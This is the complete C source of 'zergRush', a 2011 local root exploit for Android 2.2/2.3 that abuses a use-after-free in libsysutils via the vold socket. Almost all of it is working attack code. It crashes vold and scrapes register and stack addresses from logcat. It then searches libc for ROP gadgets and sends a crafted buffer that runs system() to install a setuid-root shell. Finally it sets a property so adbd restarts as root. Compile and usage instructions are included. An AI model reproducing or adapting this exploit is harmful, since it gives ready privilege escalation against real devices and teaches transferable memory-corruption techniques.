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/* android 2.2/2.3 libsysutils root exploit use-after-free
*
* Exploited by rewriting a FrameworkCommand object making the runCommand
* point to our first ROP gadget.
*
* Copyright (c) 2011, The Revolutionary development team.
*
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
* THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE
* WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
*
* It only works if called from adb shell since we need group log.
*
* Compile:
* agcc zergRush.c -o zergRush -ldiskconfig -lcutils
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <dirent.h>
#include <dlfcn.h>
#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>
static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";
uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};
uint8_t adjust = 0;
uint8_t samsung = 0;
extern char **environ;
static void die(const char *msg)
{
perror(msg);
exit(errno);
}
static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync(); sync();
return r;
}
static int remount_data(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
static void *find_symbol(char *sym)
{
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
if (!dlh)
die("[-] dlopen");
if ((r = (void *)dlsym(dlh, sym)) == NULL)
die("[-] dlsym");
dlclose(dlh);
return r;
}
static int bad_byte(uint8_t byte)
{
switch(byte) {
case 0x20:
case 0x22:
case 0x5c:
case 0x00:
return 1;
break;
default:
break;
}
return 0;
}
static void heap_oracle() {
char ok = 1;
if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
heap_addr = r9 + 0x70;
else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
heap_addr = r10 + 0x70;
else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
heap_addr = fp + 0x70;
else
ok = 0;
while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
if(ok)
printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
else {
printf("[-] No path found, let's hope ...\n");
heap_addr = heap_base_addr + heap_offset;
}
}
static int check_addr(uint32_t addr)
{
/*
* Check if address contains one of the forbidden bytes
*/
int i = 0;
for(i=0; i<32; i+=8)
if(bad_byte((addr>>i) & 0xff))
return -1;
return 0;
}
static int do_fault()
{
char buf[255];
int sock = -1, n = 0, i;
char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
uint32_t bsh_addr;
char padding[128];
int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
if(samsung) {
printf("[*] Sleeping a bit (~40s)...\n");
sleep(40);
printf("[*] Waking !\n");
}
memset(padding, 0, 128);
strcpy(padding, "LORDZZZZzzzz");
if(padding_sz > 0) {
memset(padding+12, 'Z', padding_sz);
printf("[*] Popping %d more zerglings\n", padding_sz);
}
else if(padding_sz < 0) {
memset(padding, 0, 128);
memset(padding, 'Z', 12+padding_sz);
}
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
die("[-] Error creating Nydus");
sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);
if(adjust)
strcpy(buf, "ZERGZERG");
else
strcpy(buf, "ZERG");
strcat(buf, " ZZ ");
strcat(buf, s_stack_pivot_addr);
for(i=3; i < buffsz+1; i++)
strcat(buf, " ZZZZ");
strcat(buf, " ");
strcat(buf, s_heap_addr);
n = strlen(buf);
bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
if(check_addr(bsh_addr) == -1) {
printf("[-] Colossus, we're doomed!\n");
exit(-1);
}
sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);
n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
printf("[*] Sending %d zerglings ...\n", n);
if ((n = write(sock, buf, n+1)) < 0)
die("[-] Nydus seems broken");
sleep(3);
close(sock);
return n;
}
static int find_rop_gadgets()
{
/*
* add sp, #108 -> b01b
* pop {r4, r5, r6, r7, pc} -> bdf0
*
* pop {r0, pc} -> bd01
*/
int fd;
char r[2], d[2];
int n = 2;
int bad = 0;
if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
die("[-] open");
lseek(fd, 0x10000, SEEK_SET);
while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
n = read(fd, r, 2);
switch(r[0]) {
case '\x1b':
if(stack_pivot == 0x41414141) {
if(r[1] == '\xb0') {
n = read(fd, d, 2);
if(d[0] == '\xf0' && d[1] == '\xbd') {
stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
if(check_addr(stack_pivot) == -1)
stack_pivot = 0x41414141;
}
}
}
break;
case '\x01':
if(pop_r0 == 0x41414141) {
if(r[1] == '\xbd') {
pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
if(check_addr(pop_r0) == -1)
pop_r0 = 0x41414141;
}
}
break;
default:
break;
}
}
if (stack_pivot == 0x41414141) {
printf("[-] You need more minerals !\n");
bad = -1;
}
if (pop_r0 == 0x41414141) {
printf("[-] You need more vespene gas !\n");
bad = -1;
}
if(bad == -1)
exit(-1);
return 0;
}
static uint32_t checkcrash()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " sp ")) != NULL)
ret = 1;
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t check_libc_base()
{
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
uint32_t spotted_base = 0;
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) {
ptr -= 8;
spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
if(spotted_base && spotted_base != libc_base) {
libc_base = spotted_base;
ret = 1;
}
}
} while (!feof(f) && !spotted_base);
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t find_stack_addr()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
uint32_t sp=0, over=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) {
ptr -= 8;
stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) {
ptr -= 8;
over = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " sp ")) != NULL && !sp) {
ptr += 5;
sp = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
if(over && sp)
jumpsz = over - sp;
return stack_addr;
}
static void do_root()
{
remount_data("/data");
chown(sh, 0, 0);
chmod(sh, 04711);
property_set("ro.kernel.qemu","1");
exit(0);
}
int main(int argc, char **argv, char **env)
{
uint32_t i = 0, ok = 0;
char *ash[] = {sh, 0};
struct stat st;
char version_release[1024];
int tries=0;
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();
printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");
if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
die("[-] Cannot copy boomsh.");
chmod(bsh, 0711);
stat(vold, &st);
heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;
__system_property_get("ro.build.version.release", version_release);
if (strstr(version_release, "2.2")) {
heap_offset = 0x108;
printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
} else if (strstr(version_release, "2.3")) {
heap_offset = 0x118;
printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
} else {
printf("[-] Not a 2.2/2.3 Android ...\n");
exit(-1);
}
heap_addr = 0xffffff;
__system_property_get("ro.build.fingerprint", version_release);
if(!strncmp(version_release, "samsung", 7)) {
printf("[+] Found a Samsung, running Samsung mode\n");
samsung = 1;
}
system_ptr = (uint32_t) find_symbol("system");
libc_base = system_ptr & 0xfff00000;
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
tries = 0;
printf("[*] Scooting ...\n");
while(buffsz=allbuffsz[tries]) {
if(checkcrash()) {
printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
break;
}
tries++;
}
if(!buffsz) {
printf("[-] Hellions with BLUE flames !\n");
exit(-1);
}
for (tries = 0; tries < 2; tries++) {
heap_oracle();
find_stack_addr();
if (stack_addr != 0x41414141 && jumpsz) {
printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
break;
}
}
if (stack_addr == 0x41414141 || !jumpsz) {
printf("[-] Zerglings did not leave interesting stuff\n");
exit(-1);
}
if (check_addr(stack_addr) == -1) {
if(bad_byte(stack_addr & 0xff)) {
stack_addr += 4;
adjust = 4;
if (check_addr(stack_addr) == -1) {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
else {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
if (jumpsz > 108 + 12) {
printf("[-] This terran has walled!\n");
exit(-1);
}
if(check_libc_base()) {
system_ptr = libc_base + (system_ptr & 0x000fffff);
printf("[*] Creating more creep 0x%08x ...\n", system_ptr);
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
}
kill(logcat_pid, SIGKILL);
unlink(crashlog);
printf("[*] Researching Metabolic Boost ...\n");
find_rop_gadgets();
printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);
do_fault();
stat(sh, &st);
if ((st.st_mode & 04000) == 04000) {
char qemuprop[1];
printf("\n[+] Rush did it ! It's a GG, man !\n");
property_get("ro.kernel.qemu",qemuprop,"0");
if (qemuprop[0]=='1') {
printf("[+] Killing ADB and restarting as root... enjoy!\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
} else {
printf("[-] Failed to set property to restart adb. Not killing.\n");
}
} else {
printf("\n[-] Bad luck, our rush did not succeed :(\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
}
return 0;
}
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